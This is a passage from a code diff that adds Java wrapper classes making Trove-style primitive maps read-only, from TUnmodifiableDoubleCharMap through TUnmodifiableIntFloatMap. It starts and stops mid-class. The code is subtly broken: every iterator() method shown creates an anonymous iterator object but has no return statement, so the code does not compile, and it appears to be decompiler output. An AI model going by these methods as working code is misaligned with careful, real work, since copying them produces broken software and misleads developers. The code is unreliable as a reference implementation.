+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleShortIterator iterator() {
+      new gnu.trove.iterator.TDoubleShortIterator() {
+        gnu.trove.iterator.TDoubleShortIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(double key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(double key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleCharMap
+    implements gnu.trove.map.TDoubleCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TDoubleCharMap m;
+    
+    public TUnmodifiableDoubleCharMap(gnu.trove.map.TDoubleCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(double key) { return m.get(key); }
+    
+    public char put(double key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TDoubleCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleCharIterator iterator() {
+      new gnu.trove.iterator.TDoubleCharIterator() {
+        gnu.trove.iterator.TDoubleCharIterator iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(double key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(double key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(double key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(double key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatDoubleMap
+    implements TFloatDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TFloatDoubleMap m;
+    
+    public TUnmodifiableFloatDoubleMap(TFloatDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(float key) { return m.get(key); }
+    
+    public double put(float key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(TFloatDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatDoubleIterator iterator() {
+      new gnu.trove.iterator.TFloatDoubleIterator() {
+        gnu.trove.iterator.TFloatDoubleIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(float key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(float key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatFloatMap
+    implements gnu.trove.map.TFloatFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TFloatFloatMap m;
+    
+    public TUnmodifiableFloatFloatMap(gnu.trove.map.TFloatFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(float key) { return m.get(key); }
+    
+    public float put(float key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TFloatFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatFloatIterator iterator() {
+      new gnu.trove.iterator.TFloatFloatIterator() {
+        gnu.trove.iterator.TFloatFloatIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(float key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(float key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatIntMap
+    implements TFloatIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TFloatIntMap m;
+    
+    public TUnmodifiableFloatIntMap(TFloatIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(float key) { return m.get(key); }
+    
+    public int put(float key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(TFloatIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatIntIterator iterator() {
+      new gnu.trove.iterator.TFloatIntIterator() {
+        gnu.trove.iterator.TFloatIntIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(float key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(float key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatLongMap
+    implements TFloatLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TFloatLongMap m;
+    
+    public TUnmodifiableFloatLongMap(TFloatLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(float key) { return m.get(key); }
+    
+    public long put(float key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(TFloatLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatLongIterator iterator() {
+      new gnu.trove.iterator.TFloatLongIterator() {
+        gnu.trove.iterator.TFloatLongIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(float key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(float key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatByteMap
+    implements gnu.trove.map.TFloatByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TFloatByteMap m;
+    
+    public TUnmodifiableFloatByteMap(gnu.trove.map.TFloatByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(float key) { return m.get(key); }
+    
+    public byte put(float key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TFloatByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatByteIterator iterator() {
+      new gnu.trove.iterator.TFloatByteIterator() {
+        gnu.trove.iterator.TFloatByteIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(float key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(float key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatShortMap
+    implements TFloatShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TFloatShortMap m;
+    
+    public TUnmodifiableFloatShortMap(TFloatShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(float key) { return m.get(key); }
+    
+    public short put(float key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(TFloatShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatShortIterator iterator() {
+      new gnu.trove.iterator.TFloatShortIterator() {
+        gnu.trove.iterator.TFloatShortIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(float key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(float key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatCharMap
+    implements gnu.trove.map.TFloatCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TFloatCharMap m;
+    
+    public TUnmodifiableFloatCharMap(gnu.trove.map.TFloatCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(float key) { return m.get(key); }
+    
+    public char put(float key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TFloatCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatCharIterator iterator() {
+      new gnu.trove.iterator.TFloatCharIterator() {
+        gnu.trove.iterator.TFloatCharIterator iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(float key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(float key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(float key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(float key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntDoubleMap
+    implements TIntDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TIntDoubleMap m;
+    
+    public TUnmodifiableIntDoubleMap(TIntDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(int key) { return m.get(key); }
+    
+    public double put(int key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(TIntDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntDoubleIterator iterator() {
+      new gnu.trove.iterator.TIntDoubleIterator() {
+        gnu.trove.iterator.TIntDoubleIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(int key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(int key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntFloatMap
+    implements TIntFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TIntFloatMap m;
+    
+    public TUnmodifiableIntFloatMap(TIntFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(int key) { return m.get(key); }
+    
+    public float put(int key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(TIntFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
